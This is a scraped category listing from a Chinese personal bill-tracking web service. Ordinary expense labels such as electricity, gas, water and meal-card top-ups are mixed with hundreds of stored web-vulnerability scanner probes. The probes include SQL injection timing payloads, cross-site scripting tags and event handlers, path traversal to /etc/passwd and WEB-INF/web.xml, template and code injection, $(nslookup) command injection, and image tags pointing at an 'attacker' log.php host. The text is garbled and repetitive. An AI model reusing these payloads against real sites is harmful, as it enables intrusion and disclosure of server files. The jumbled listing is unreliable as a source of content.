联行支付
| 电话：400-6277-020
首页
便民生活
账单管家
家庭理财
会员中心
登录
│
注册
账单概况
记账>>
明细
财务报表
账单设置
易生活手机版下载
问题反馈
分类：
电费
老屯
老屯
老屯
老屯
菜市
菜市
菜市
菜市
菜市
菜市
菜市
菜市
菜市庄
菜市庄
菜市庄
张蔚
张蔚
张蔚
诚基4
诚基4
诚基4
诚基4
诚基4
诚基4
诚基4
诚基4
709室
709室
709
老周
老周
老周
马健芃
马健芃
马健芃
马健芃
马健芃
马健芃
马健芃
马健芃
马健芃
4
4
dian
dian
红楼
红楼
红楼
红楼
红楼
洪楼
新建二级分...
电费
'
洪楼
新建二级分...
电费
‘
电费
电费
电费
新建二级分...
电费
十六
十六
十六
十六
十六
十六
新建二级分...
电费电费
电费
电费
电费
电费
电费
新建二级分...
电费电费
十六
十六
新建二级分...
电费电费
新建二级分...
电费电费
新建二级分...
老屯
电费
电费
电费
电费
新建二级分...
老屯
新建二级分...
燃气费
费用
费用
费用
新建二级分...
燃气费
6月
6月
6月
新建二级分...
水费
901
901
901
901
901
901
901
901
901
租房水费
租房水费
租房水费
租房水费
租房水费
水费
新建二级分...
水费
新建二级分...
装修
新建二级分...
装修
新建二级分...
装修
新建二级分...
装修
新建二级分...
装修
新建二级分...
装修
新建二级分...
装修费
新建二级分...
装修费
新建二级分...
装修费
新建二级分...
装修费
新建二级分...
饭费
新建二级分...
饭费
新建二级分...
饭费
新建二级分...
饭费
新建二级分...
饭费
新建二级分...
菜市庄
新建二级分...
菜市庄
新建二级分...
菜市庄
新建二级分...
菜市庄
新建二级分...
菜市庄
新建二级分...
菜市庄
新建二级分...
菜市庄
新建二级分...
'
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
电费
新建二级分...
食品酒水
鱼肉菜
早午晚餐
水果零食
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
饭卡充值
新建二级分...
休闲娱乐
运动健身
休闲玩乐
新建二级分...
人情往来
送礼请客
新建二级分...
金融保险
银行手续
新建二级分...
居家物业
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
燃气费
水电气费
日常用品
新建二级分...
交流通讯
手机费
上网费
新建二级分...
其他杂项
其他支出
新建二级分...
行车交通
公共交通
打车租车
私家车费用
新建二级分...
衣服饰品
e
化妆饰品
衣服子裤
e
？'？"
!(()&&!|*|*|
Http://testasp.vulnweb.com/t/fit.txt
1 waitfor delay '0:0:3' --
'"()
^(#$!@#$)(()))******
WDEslpAx'; waitfor delay '0:0:3' --
testasp.vulnweb.com
RUslQk9d'));select pg_sleep(6); --
saveParamType.action
1'"
JyI=
/WEB-INF/web.xml
WEB-INF\web.xml
..\..\..\..\..\..\..\..\windows\win.ini
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
e'"()&%<acx><ScRiPt >LS30(9997)</ScRiPt>
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
../../../../../../../../../../boot.ini
WEB-INF/web.xml
WEB-INF\web.xml
)
4pDgxeR2';select pg_sleep(3); --
;print(md5(acunetix_wvs_security_test));
1 ？？？？
e
12345'"\'\");|]* { < >？''？？
e
e
1mN3EHWY
${9999419+10000287}
-1 OR 2+883-883-1=0+0+0+1 --
#{9999419+10000287}
-1 OR 2+650-650-1=0+0+0+1
e
response.write(9013018*9316201)
'+response.write(9013018*9316201)+'
"+response.write(9013018*9316201)+"
set|set&set
$(nslookup uFKoBBkB)
jOu9Tg6e
-1' OR 2+646-646-1=0+0+0+1 --
e&n923075=v926350
-1" OR 2+606-606-1=0+0+0+1 --
foiKegQN');select pg_sleep(3); --
saveParamType.action
http://hitbDNrgfcZyW.bxss.me/
saveParamType.action/.
/www.vulnweb.com
'"
\
<!--
@@eKK94
'"()&%<acx><ScRiPt >LS30(9983)</ScRiPt>
？''？
e_9469
(select convert(int,CHAR(65)))
../../../../../../../../../../etc/passwd
/etc/passwd
%2fetc%2fpasswd
................windowswin.ini
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
e
e
'+response.write(9303685*9616661)+'
"+response.write(9303685*9616661)+"
set|set&set
t50CcN1l
12345'"\'\");|]* { < >？''？？
${9999431+10000275}
e
cDBAcdQU
-1 OR 2+525-525-1=0+0+0+1 --
e&n933260=v996609
Http://testasp.vulnweb.com/t/fit.txt
)
testasp.vulnweb.com
-1" OR 2+419-419-1=0+0+0+1 --
!(()&&!|*|*|
^(#$!@#$)(()))******
1 waitfor delay '0:0:6' --
'"()
4tLEDzEG'; waitfor delay '0:0:9' --
XcWmJTvz';select pg_sleep(9); --
g6wCUmFX');select pg_sleep(9); --
wZ7HxKrq'));select pg_sleep(9); --
saveParamType.action
;print(md5(acunetix_wvs_security_test));
e
response.write(9303685*9616661)
$(nslookup gStNNhmX)
#{9999431+10000275}
e
-1 OR 2+690-690-1=0+0+0+1
-1' OR 2+19-19-1=0+0+0+1 --
-1' OR 2+36-36-1=0+0+0+1 or '6A7ZnTOi'='
saveParamType.action
http://hit4EIFC5RA18.bxss.me/
1 ？？？？
<!--
e'"()&%<acx><ScRiPt >jaiA(9041)</ScRiPt>
'"()&%<acx><ScRiPt >jaiA(9897)</ScRiPt>
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
/www.vulnweb.com
1'"
\
'"
JyI=
？'？"
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
saveParamType.action/.
@@mWc7Y
？''？
e_9458
(select convert(int,CHAR(65)))
1acuuKzlvHk9uf
e_9074'():;9430
e
e" 3aGN=mtXi([!+!]) cOQ="
？" onmouseover=mtXi(9273) //
e"><script>mtXi(9088)</script>
e_9074'():;9430
e" onmouseover=mtXi(9422) bad="
e" 54Ty=mtXi([!+!]) JJU="
？" onmouseover=mtXi(9146) //
e"><script>mtXi(9645)</script>
e<ScRiPt >mtXi(9691)</ScRiPt>
e<WMMIXS>BO4DQ[!+!]</WMMIXS>
e<script>mtXi(9835)</script>
e<ScRiPt >mtXi(9571)</ScRiPt>
e< ScRiPt >mtXi(9025)</ScRiPt>
e<svg ？ onload=mtXi(9697);>
e<body onload=mtXi(9697)>
e<img src=xyz OnErRor=mtXi(9307)>
e<img/src=">" onerror=alert(9379)>
e<ScRiPt>mtXi(9324)</sCripT>
？<img acu onmouseover=mtXi(9575) //？
e<input autofocus onfocus=mtXi(9729)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9787))}
e<% contenteditable onresize=mtXi(9232)>
e_ejLoG <ScRiPt >mtXi(9406)</ScRiPt>
e<WQ8GSP>XJXLC[!+!]</WQ8GSP>
e<ifRAme sRc=9722.com></IfRamE>
e<6SFIVP x=9069>
e<img sRc='http://attacker-9564/log.php?
e
e'"()&%<acx><ScRiPt >mtXi(9690)</ScRiPt>
'"()&%<acx><ScRiPt >mtXi(9217)</ScRiPt>
e_9719
acu5242＜s1﹥s2？s3？uca5242
acux6405？？z1？？z2a？bcxuca6405
{{9999470*10000228}}
acu4993＜s1﹥s2？s3？uca4993
acux9675？？z1？？z2a？bcxuca9675
{{10000448*9999252}}
acu3771＜s1﹥s2？s3？uca3771
acux9989？？z1？？z2a？bcxuca9989
{{10000371*9999037}}
acu3917＜s1﹥s2？s3？uca3917
acux10895？？z1？？z2a？bcxuca10895
{{10000354*9999369}}
e" onmouseover=mtXi(9982) bad="
&n991229=v972206
1GDbMm8NO
1'"
\
1 ？？？？%2527%2522
@@eFMje
JyI=
？'？"
？''？
response.write(9841941*9346473)
'+response.write(9841941*9346473)+'
"+response.write(9841941*9346473)+"
FBY01pcW
12345'"\'\");|]* { < >？''？？
${9999518+9999247}
#{9999518+9999247}
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
bxss.me
)
!(()&&!|*|*|
^(#$!@#$)(()))******
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
;print(md5(31337));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
saveParamType.action
${@print(md5(31337))}\
saveParamType.action
saveParamType.action/.
http://hitY9ZTCRmDX8.bxss.me/
/xfs.bxss.me
'"
<!--
19111686
1
1
o3Elt5Bo
-1 OR 2+487-487-1=0+0+0+1 --
-1 OR 2+181-181-1=0+0+0+1
-1' OR 2+559-559-1=0+0+0+1 --
-1" OR 2+63-63-1=0+0+0+1 --
新建二级分...
电费
电费
电费
电费
电费
新建二级分...
电费
新建二级分...
水电
新建二级分...
水电
新建二级分...
水电
新建二级分...
水电
新建二级分...
水电
菜市庄
菜市庄
菜市庄
菜市庄
菜市庄
菜市庄
新建二级分...
水电
4
4
4
新建二级分...
水电
新建二级分...
暖气费
暖气费
暖气费
暖气费1
暖气费1
新建二级分...
暖气费
新建二级分...
暖气费
新建二级分...
暖气费
新建二级分...
暖气费
新建二级分...
饭卡充值
新建二级分...
饭卡充值
e
e
e
response.write(9353634*9415699)
'+response.write(9353634*9415699)+'
"+response.write(9353634*9415699)+"
set|set&set
$(nslookup RUwnowv6)
sP0LD6zP
12345'"\'\");|]* { < >？''？？
e
e
J8dolEqX
${9999516+9999233}
-1 OR 2+866-866-1=0+0+0+1 --
#{9999516+9999233}
-1 OR 2+705-705-1=0+0+0+1
-1' OR 2+566-566-1=0+0+0+1 --
-1" OR 2+579-579-1=0+0+0+1 --
1 waitfor delay '0:0:3' --
DFdTQA0b';select pg_sleep(3); --
7VBwT1jD'));select pg_sleep(3); --
testasp.vulnweb.com
'"()
;print(md5(acunetix_wvs_security_test));
saveParamType.action
saveParamType.action
http://hitNf8hXQKpdi.bxss.me/
saveParamType.action/.
/www.vulnweb.com
../../../../../../../../../../etc/passwd
e&n929321=v930132
ePnEGffX'; waitfor delay '0:0:3' --
Http://testasp.vulnweb.com/t/fit.txt
jrQh3JAt');select pg_sleep(3); --
)
!(()&&!|*|*|
^(#$!@#$)(()))******
@@Pr0Jx
JyI=
%2fetc%2fpasswd
..\..\..\..\..\..\..\..\windows\win.ini
WEB-INF\web.xml
//WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml?
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../../WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
'"
e'"()&%<acx><ScRiPt >hSMJ(9194)</ScRiPt>
1'"
'"()&%<acx><ScRiPt >hSMJ(9514)</ScRiPt>
../../../../../../../../../../boot.ini
................windowswin.ini
../WEB-INF/web.xml
../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
//../....//....//WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
<!--
\
1 ？？？？
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF\web.xml
e_9172
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
？'？"
？''？
(select convert(int,CHAR(65)))
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
新建二级分...
马健芃
新建二级分...
马健芃
新建二级分...
马健芃
新建二级分...
马健芃
新建二级分...
马健芃
新建二级分...
马健芃
e
saveParamType.action/.
e&n929492=v937785
e
1Bp1DSkB
)
-1 OR 2+879-879-1=0+0+0+1 --
Http://testasp.vulnweb.com/t/fit.txt
!(()&&!|*|*|
-1 OR 2+241-241-1=0+0+0+1
^(#$!@#$)(()))******
testasp.vulnweb.com
-1' OR 2+298-298-1=0+0+0+1 --
'"()
-1" OR 2+79-79-1=0+0+0+1 --
1 waitfor delay '0:0:9' --
B4CXDx66'; waitfor delay '0:0:9' --
4Y1rVhFi';select pg_sleep(3); --
;print(md5(acunetix_wvs_security_test));
86Iy5bIH');select pg_sleep(3); --
saveParamType.action
Aa6LQd4J'));select pg_sleep(3); --
saveParamType.action
../../../../../../../../../../etc/passwd
http://hitGTMAmAKLnH.bxss.me/
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/www.vulnweb.com
1'"
\
1 ？？？？
'"
@@8uCfQ
<!--
JyI=
file:///etc/passwd
？'？"
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
？''？
e'"()&%<acx><ScRiPt >nOXq(9654)</ScRiPt>
/WEB-INF/web.xml
(select convert(int,CHAR(65)))
WEB-INF\web.xml
'"()&%<acx><ScRiPt >nOXq(9370)</ScRiPt>
//WEB-INF/web.xml
e_9003
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../../WEB-INF/web.xml
response.write(9984420*9895010)
"+response.write(9984420*9895010)+"
set|set&set
$(nslookup yK862JJw)
RmTCCZAJ
12345'"\'\");|]* { < >？''？？
#{9999571+9999548}
e
e
e
'+response.write(9984420*9895010)+'
${9999571+9999548}
？" onmouseover=mtXi(9888) //
e"><script>mtXi(9307)</script>
e_9451'():;9483
e" onmouseover=mtXi(9458) bad="
e" 4835=mtXi([!+!]) oHX="
？" onmouseover=mtXi(9005) //
e"><script>mtXi(9369)</script>
e<ScRiPt >mtXi(9796)</ScRiPt>
e<WDTZ1Z>P4T9R[!+!]</WDTZ1Z>
e<script>mtXi(9753)</script>
e<ScRiPt >mtXi(9482)</ScRiPt>
e< ScRiPt >mtXi(9249)</ScRiPt>
e<svg ？ onload=mtXi(9649);>
e<body onload=mtXi(9519)>
e<img src=xyz OnErRor=mtXi(9261)>
e<img/src=">" onerror=alert(9330)>
e<ScRiPt>mtXi(9452)</sCripT>
？<img acu onmouseover=mtXi(9362) //？
e<input autofocus onfocus=mtXi(9832)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9386))}
e<% contenteditable onresize=mtXi(9444)>
e_LM1DX <ScRiPt >mtXi(9519)</ScRiPt>
e<WBUECI>T6U1E[!+!]</WBUECI>
e<ifRAme sRc=9009.com></IfRamE>
e<TXOjWr x=9582>
e<img sRc='http://attacker-9118/log.php?
1acu8uT9ul4Tjr
e
e'"()&%<acx><ScRiPt >mtXi(9469)</ScRiPt>
'"()&%<acx><ScRiPt >mtXi(9851)</ScRiPt>
e_9894
acu2335＜s1﹥s2？s3？uca2335
acux5828？？z1？？z2a？bcxuca5828
{{9999695*9999707}}
acu6666＜s1﹥s2？s3？uca6666
acux7185？？z1？？z2a？bcxuca7185
{{9999638*9999613}}
acu1227＜s1﹥s2？s3？uca1227
acux10323？？z1？？z2a？bcxuca10323
{{9999192*9999990}}
acu10908＜s1﹥s2？s3？uca10908
acux5184？？z1？？z2a？bcxuca5184
{{9999967*10000335}}
e" onmouseover=mtXi(9395) bad="
e" jd00=mtXi([!+!]) Ocl="
新建二级分...
新建一级分...
账户：
存折
在线支付
e
e
response.write(9282300*9088122)
'+response.write(9282300*9088122)+'
"+response.write(9282300*9088122)+"
e
e
储蓄卡/借记卡
现金券
Hanog9y4
现金
应收款项
信用卡
e
e
e
set|set&set
$(nslookup IDl6epvn)
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/www.vulnweb.com
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
'"
WEB-INF/web.xml
<!--
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../boot.ini
1'"
\
................windowswin.ini
1 ？？？？
..\..\..\..\..\..\..\..\windows\win.ini
@@kjUB3
JyI=
？'？"
？''？
WEB-INF/web.xml
e
${9999984+9999059}
#{9999984+9999059}
12345'"\'\");|]* { < >？''？？
Http://testasp.vulnweb.com/t/fit.txt
)
testasp.vulnweb.com
!(()&&!|*|*|
^(#$!@#$)(()))******
'"()
(select convert(int,CHAR(65)))
WEB-INF\web.xml
e'"()&%<acx><ScRiPt >eswD(9016)</ScRiPt>
//WEB-INF/web.xml
'"()&%<acx><ScRiPt >eswD(9036)</ScRiPt>
/static/WEB-INF/web.xml
e_9746
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
-1 OR 2+395-395-1=0+0+0+1 --
-1' OR 2+55-55-1=0+0+0+1 --
-1" OR 2+801-801-1=0+0+0+1 --
e
e&n995797=v967417
;print(md5(acunetix_wvs_security_test));
http://hit3fkRUD0wlc.bxss.me/
saveParamType.action
saveParamType.action
saveParamType.action/.
zGDpspyy
-1 OR 2+36-36-1=0+0+0+1
1 waitfor delay '0:0:9' --
9p1kAKH8'; waitfor delay '0:0:9' --
M209iEDA';select pg_sleep(9); --
UCxiBpq2');select pg_sleep(9); --
ieMVggYF'));select pg_sleep(3); --
set|set&set
$(nslookup hI8EtrhL)
12345'"\'\");|]* { < >？''？？
${10000428+9999397}
e
e
response.write(9736144*9895312)
)
!(()&&!|*|*|
^(#$!@#$)(()))******
Http://testasp.vulnweb.com/t/fit.txt
'+response.write(9736144*9895312)+'
"+response.write(9736144*9895312)+"
c9hK115j
#{10000428+9999397}
e&n931832=v904776
e
e
-1' OR 2+16-16-1=0+0+0+1 --
-1" OR 2+476-476-1=0+0+0+1 --
1 waitfor delay '0:0:3' --
xA9nEm6E'; waitfor delay '0:0:3' --
http://hitdLF7Ztc219.bxss.me/
saveParamType.action
saveParamType.action/.
/www.vulnweb.com
6NdjvxhI';select pg_sleep(3); --
xy8aOSKq');select pg_sleep(6); --
tS6l1SLi'));select pg_sleep(6); --
'"()
e
<!--
JyI=
\
(select convert(int,CHAR(65)))
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../boot.ini
................windowswin.ini
..\..\..\..\..\..\..\..\windows\win.ini
WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
testasp.vulnweb.com
34YiCI97
-1 OR 2+729-729-1=0+0+0+1 --
-1 OR 2+424-424-1=0+0+0+1
;print(md5(acunetix_wvs_security_test));
saveParamType.action
e
'"
1'"
1 ？？？？
@@GqyWS
？'？"
？''？
e'"()&%<acx><ScRiPt >qSq5(9174)</ScRiPt>
'"()&%<acx><ScRiPt >qSq5(9053)</ScRiPt>
e_9780
#{9999066+9999990}
e&n925252=v924195
Http://testasp.vulnweb.com/t/fit.txt
)
!(()&&!|*|*|
${9999066+9999990}
testasp.vulnweb.com
^(#$!@#$)(()))******
'"()
;print(md5(acunetix_wvs_security_test));
saveParamType.action
saveParamType.action
saveParamType.action/.
12345'"\'\");|]* { < >？''？？
/www.vulnweb.com
'"
<!--
http://hit7nHMBENSfE.bxss.me/
e
e
e
e
response.write(9608553*9850259)
'+response.write(9608553*9850259)+'
"+response.write(9608553*9850259)+"
set|set&set
$(nslookup ogrsnp8M)
z2nx1JoY
e
MxXwVr5R
-1' OR 2+247-247-1=0+0+0+1 --
1'"
e'"()&%<acx><ScRiPt >PWZs(9293)</ScRiPt>
'"()&%<acx><ScRiPt >PWZs(9937)</ScRiPt>
e_9206
@@qEA9S
？'？"
1 waitfor delay '0:0:3' --
(select convert(int,CHAR(65)))
EiCjk6Nr');select pg_sleep(6); --
e
-1 OR 2+380-380-1=0+0+0+1 --
-1 OR 2+818-818-1=0+0+0+1
？''？
0yRdtThu'; waitfor delay '0:0:3' --
GAsJ8PwN';select pg_sleep(3); --
\
1 ？？？？
-1" OR 2+419-419-1=0+0+0+1 --
JyI=
3NOK6Pqr'));select pg_sleep(6); --
../../../../../../../../../../etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
//WEB-INF/web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
../../WEB-INF/web.xml?
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
现金口袋
e
e
'"()
)
e
ZTsO2D7C
'+response.write(9826490*9709266)+'
e&n913554=v923854
e
e
2p6rYqJz
-1 OR 2+293-293-1=0+0+0+1
1 waitfor delay '0:0:9' --
e
response.write(9826490*9709266)
set|set&set
"+response.write(9826490*9709266)+"
$(nslookup xAU27LyQ)
12345'"\'\");|]* { < >？''？？
${9999754+9999471}
#{9999754+9999471}
Http://testasp.vulnweb.com/t/fit.txt
testasp.vulnweb.com
!(()&&!|*|*|
^(#$!@#$)(()))******
-1 OR 2+319-319-1=0+0+0+1 --
-1' OR 2+698-698-1=0+0+0+1 --
-1" OR 2+279-279-1=0+0+0+1 --
;print(md5(acunetix_wvs_security_test));
0S7icR5w'; waitfor delay '0:0:9' --
BUVHL2Ay';select pg_sleep(9); --
2NDFuA5o');select pg_sleep(9); --
AdBxMlzD'));select pg_sleep(3); --
saveParamType.action
saveParamType.action
saveParamType.action/.
e<ScRiPt >mtXi(9304)</ScRiPt>
1acu8f0N6NtwhT
1'"
1 ？？？？
JyI=
？'？"
'"
e
%2fetc%2fpasswd
WEB-INF\web.xml
/static/WEB-INF/web.xml
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml?
../WEB-INF/web.xml
../../WEB-INF/web.xml?
\
@@snvLA
/www.vulnweb.com
e'"()&%<acx><ScRiPt >4R05(9618)</ScRiPt>
e_9480
<!--
e
../../../../../../../../../../etc/passwd
'"()&%<acx><ScRiPt >4R05(9418)</ScRiPt>
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
//WEB-INF/web.xml
./WEB-INF/web.xml
../WEB-INF/web.xml?
../../WEB-INF/web.xml
http://hitSp1frTka2E.bxss.me/
？''？
(select convert(int,CHAR(65)))
/..\..WEB-INFweb.xml
../../../WEB-INF/web.xml
../../../WEB-INF/web.xml?
../../../../WEB-INF/web.xml
//../....//....//WEB-INF/web.xml
../../../../../WEB-INF/web.xml
../../../../../../WEB-INF/web.xml
../WEB-INF/web.xml;x=
../../WEB-INF/web.xml;x=
../../../WEB-INF/web.xml;x=
1acukm6rxO0LIc
应收款项
e
e<WLHCHD>HLLQT[!+!]</WLHCHD>
e<script>mtXi(9914)</script>
e<ScRiPt >mtXi(9414)</ScRiPt>
e< ScRiPt >mtXi(9655)</ScRiPt>
e<svg ？ onload=mtXi(9487);>
e<body onload=mtXi(9268)>
e<img src=xyz OnErRor=mtXi(9140)>
e<img/src=">" onerror=alert(9545)>
e<ScRiPt>mtXi(9627)</sCripT>
？<img acu onmouseover=mtXi(9927) //？
e<input autofocus onfocus=mtXi(9740)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9240))}
e<% contenteditable onresize=mtXi(9076)>
e_XoqwE <ScRiPt >mtXi(9036)</ScRiPt>
e<WX1GDQ>F3GJH[!+!]</WX1GDQ>
e<ifRAme sRc=9413.com></IfRamE>
e<pvP3Ws x=9510>
e<img sRc='http://attacker-9627/log.php?
e<ScRiPt >mtXi(9123)</ScRiPt>
e<WYXJN7>LGS3N[!+!]</WYXJN7>
e<script>mtXi(9760)</script>
e<ScRiPt >mtXi(9274)</ScRiPt>
e< ScRiPt >mtXi(9872)</ScRiPt>
e'"()&%<acx><ScRiPt >mtXi(9746)</ScRiPt>
'"()&%<acx><ScRiPt >mtXi(9093)</ScRiPt>
e_9955
acu2171＜s1﹥s2？s3？uca2171
acux3770？？z1？？z2a？bcxuca3770
{{9999983*10000328}}
acu9681＜s1﹥s2？s3？uca9681
acux1208？？z1？？z2a？bcxuca1208
{{9999127*9999613}}
e<ScRiPt >mtXi(9227)</ScRiPt>
e'"()&%<acx><ScRiPt >mtXi(9984)</ScRiPt>
'"()&%<acx><ScRiPt >mtXi(9208)</ScRiPt>
e_9574
acu3972＜s1﹥s2？s3？uca3972
acux8916？？z1？？z2a？bcxuca8916
{{10000312*9999841}}
acu1736＜s1﹥s2？s3？uca1736
acux8816？？z1？？z2a？bcxuca8816
{{10000446*10000252}}
e<svg ？ onload=mtXi(9694);>
e<body onload=mtXi(9898)>
e<img src=xyz OnErRor=mtXi(9439)>
e<img/src=">" onerror=alert(9412)>
e<ScRiPt>mtXi(9898)</sCripT>
？<img acu onmouseover=mtXi(9224) //？
e<input autofocus onfocus=mtXi(9080)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9338))}
e<% contenteditable onresize=mtXi(9031)>
e_j8jFT <ScRiPt >mtXi(9699)</ScRiPt>
e<WWJE23>7GEPO[!+!]</WWJE23>
e<ifRAme sRc=9662.com></IfRamE>
e<XvpWjB x=9665>
e<img sRc='http://attacker-9479/log.php?
e<WNKJWE>RIZQO[!+!]</WNKJWE>
e<script>mtXi(9583)</script>
e<ScRiPt >mtXi(9369)</ScRiPt>
e< ScRiPt >mtXi(9062)</ScRiPt>
e<svg ？ onload=mtXi(9941);>
e<body onload=mtXi(9946)>
e<img src=xyz OnErRor=mtXi(9738)>
e<img/src=">" onerror=alert(9048)>
e<ScRiPt>mtXi(9269)</sCripT>
？<img acu onmouseover=mtXi(9172) //？
e<input autofocus onfocus=mtXi(9798)>
<a HrEF=http://www.vulnweb.com></a>
<a HrEF=jaVaScRiPT:>
[url=http://www.vulnweb.com][/url]
e}body{acu:Expre/**/SSion(mtXi(9745))}
e<% contenteditable onresize=mtXi(9407)>
e_lugzK <ScRiPt >mtXi(9887)</ScRiPt>
e<W4UAHF>YDVVB[!+!]</W4UAHF>
e<ifRAme sRc=9601.com></IfRamE>
e<CPS8dW x=9350>
e<img sRc='http://attacker-9631/log.php?
